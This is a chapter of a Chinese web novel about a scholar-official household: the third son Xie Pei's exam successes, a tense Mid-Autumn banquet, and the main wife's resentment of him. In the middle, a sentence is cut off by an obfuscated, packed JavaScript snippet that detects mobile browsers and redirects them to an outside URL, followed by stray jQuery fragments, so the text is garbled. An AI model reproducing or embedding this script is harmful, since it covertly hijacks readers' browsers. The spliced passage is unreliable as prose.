四月府试三道制艺题出得刁钻，却是谢培提前温过的内容。


    发案之后，果然再得案首。


    谢渊知道之后，简直乐开了花。拉着全家上下祭祖上香不说，还广发帖子，在府中大摆宴席。


    知府衙门送来贺仪、县学教谕亲笔题匾额，人人谈起谢家三郎都要赞上一句，顺带夸了谢渊教子有方。


    之后八月院试，长案上谢培的名字自然在册。虽然名次还未发布，但谢府已经是张灯结彩、敲敲打打。


    恰逢中秋，两桩喜事并在一处，仍在金徽堂设宴。短短半年，比之除夕那日，谢培的境况已经大有不同。


    谢培端坐主位，眼角眉梢的喜气压都压不住。他亲自执壶斟酒不算，还特意吩咐把鸡丝燕窝汤摆到谢培跟前。


    “培儿爱喝汤，放他跟前。”


    袁英华坐在谢渊身侧，闻言嘴角僵硬地向上扯了一下。这些时日谢培的消息每在她耳边出现一次，就好似在她心上划了一刀。


    这柳迎霜当真克她，死了不说，生的儿子也能这样给自己添堵。


    延州繁华，秀才的名额虽不算少，但真要考中也不是容易之事。坤儿三年次次落第，已是叫谢渊失望。现下有了谢培做对比，更是看他不顺眼。


    “你要多学学你弟弟，成日地贪玩享乐，如何能够成才！”


    谢渊余光瞥见谢坤只顾吃喝，眼角的笑意瞬间淡了，声音里都压着火气。


    谢坤那筷子一歪，掉在桌上，嘴里是龙肉也没了胃口。


    身边还坐着娶进门的新妇，被当着众人落了脸面，谢坤脸涨成猪肝色鼻孔哼出气来。


    谢渊见他这副不成器的样子，怒火更甚：“怎么，我说错了？我原指望你能重振文脉，可你倒好，整日里跟着那群纨绔厮混，你当你私下里那些胡闹我不知道？”


    谢渊动了真火，席间霎时静了，众人目光在谢培与谢坤之间打了个转。


    袁英华面上雍容的笑意纹丝未动，只眼风扫过儿子僵直的侧影，指甲嵌进掌心。


    三夫人王素波察觉到席间尴尬，但她向来少言寡语，此刻对着众人也不敢言语缓和气氛。


    倒是三老爷谢浔端着酒杯，幽幽开口：“还是大哥福气好，大郎健硕，三郎博学，可惜兄弟三个，单我膝下无子。”


    他将将四十，年轻时也是一表人材。但长久浸淫酒色，眼周一圈青色，双颊也凹了下去。


    王素波嫁进谢府快要十余年，头几年一直无所出，好容易怀了一胎，却是个千金。


    谢浔本就待她无情，而后愈发在外鬼混，不肯归家。


    王素波一来心中有愧，二来也盼他能回家，接连将自己的丫鬟芳姿纳给他做妾，又买进良家子鸳鸯。


    两人也陆续大了肚子，只是生的也都是女儿。


    这话出口，席上众人又是神情各异。


    谢渊闻言，面上那点因谢培而生的骄色淡了些，看向胞弟的眼神里浮起几分长兄的温厚：“三弟还年轻。”


    谢浔喝了点酒，说话愈发口无遮拦：“年轻是一回事，房里人肚子不争气又是另一回事。”


    他说着眼睛横向王素波，让她不敢抬头。


    这话粗俗，谢渊忍不住提醒：“三弟慎言，孩子们还在呢！”


    “是是是，我说话不注意，该打。”谢浔放下酒杯，往自己嘴边扇了一掌，又面露淫/邪的笑意，“不过，坤儿已经成亲，就是三郎也已经到了年纪，可以往房里进人了。”


    筷头的炙虾应声而落，谢培脑中嗡的一声，满脸通红。


    席间的交谈笑语像是隔了一层水，模糊不清。他心里猝不及防地冒出个人影，愈发坐立难安。


    好容易等席散了，吃了两盅酒的谢培由小厮跟着，往清月阁走。


    谢培忽而闻到一阵桂花香气，他淡淡开口：“桂子月中落。”


    “什么？少爷，你说什么？”跟在他身后的金环上前两步问。


    谢培摇头，桂香袭人，他只是想起了吃过的那点桂花蜜糖。他停了脚步，看见金环手里捧着的东西，问：“这是什么？”


    金环低头看了看，回答道：“是披风，连珠姐姐说怕宴席散得太晚，夜里风凉。”


    连珠...


    谢培不得不承认，方才席间三伯提到房中进人，他脑海中浮现的人便是连珠。


    他被自己的这个念头吓了一跳，一如当初的那场梦。


    家塾中早有不学无术的子弟将纳妾狎/妓挂在嘴边，就是大哥谢坤前几月成亲之时，房中也早有了通房丫鬟。


    谢培他并非不通人事。


    他从前丝毫没往这方面想过，是因他在这府中每步都如履薄冰。他所有的心思都绷成一根弦，只够想着如何把书读好，如何在下一次考校时不落人后。


    出人头地。


    这四个字烙印在他心里。


    他没有功夫去想别的，男女之情...他没想过，也懒于去想。


    但那人若是连珠。


    若是连珠的话，他只是想到，就心如擂鼓。


    ——


    袁英华回到暮香堂就砸了一薄胎瓷盏。


    房中丫鬟皆是大气都不敢出，看见喜


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102796|195488||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    和嬷嬷朝她们摆手，赶紧关了门往屋外去。


    “好，好得很！”袁英华走到桌边，狠拍了桌面，“过不了几年，这个家怕是就没有我和坤儿的立足之地了。”


    喜和嬷嬷知她是为着老爷看重谢培心中不快，她跟了夫人大半辈子，知道此刻任何劝慰都是火上浇油。


    “我这些年替他打理中馈，不说功劳也有苦劳，倒养出个比嫡亲儿子还得脸的庶子。”


    喜和嬷嬷看她实在气恼，安慰道：“夫人何苦跟老爷置气，老爷不过随口一言，大少爷他毕竟是谢府的长子嫡孙。”


    “长子嫡孙又如何？”袁英华气在心头，面目都开始扭曲，“你是没看见他这段时间恨不能将那崽子捧上天去！案首要贺，院试要贺，连平日多吃半碗饭都要夸一句读书耗神！他何时对坤儿如此上心过？今日在小辈跟前如此数落坤儿，他还要脸不要，我还要脸不要！”


    论起亲疏远近，喜和当然要向着谢坤说话。但私心论起来，她倒情愿有一个谢培这样的儿子。


    她哀叹一声，继续宽慰道：“夫人，大少爷名分摆在那儿，任谁也越不过去。三少爷再得脸，柳姨娘早早去了，无人替他经营...”


    “无人经营？”袁英华冷笑打断，“老爷如今就是他的靠山，你当那清月阁如今的吃穿用度还是从前的光景？”


    她不肯坐下，在房内疾走两步发了一通火气：“我倒成了这府里的笑话。”


    袁英华说到这里，怒而转向喜和：“你说，若真让那孽障一路考上去，中了举人，甚至...到那时，老爷眼里还能有坤儿的位置吗？这谢家日后，到底是谁的谢家？”


    这话问得诛心，喜和嬷嬷那张老脸也白了白。


    “夫人，老奴说句僭越的话。三少爷如今不过是刚过了院试，离举人进士还远。少年人捧得高，摔下来才更疼。老爷看重文才，咱们当前最要紧的，是把大少爷的功课抓起来。等大少爷考中秀才，再捐个官身，就是三少爷再有本事，也决计越不过大少爷去。”


    “你当我不知么？”说到这个，袁英华就颇为头疼，素甲点在额角，她烦扰道，“坤儿...他不争气啊！还好提前将坤儿的亲事定了，若是再晚两年，恐怕我那堂兄都不肯将女儿嫁过来。”


    “夫人，老奴瞧着家塾里人多，难免叫少爷分心。不如咱们单独请位西席，一则显得夫人重视少爷功课，二则也清净。”


    “请，自然要请！我就是押着也要他好好读书，三年，不，两年内一定要考中！”


    “还有清月阁那孽障，也必不能叫他翻了天去！”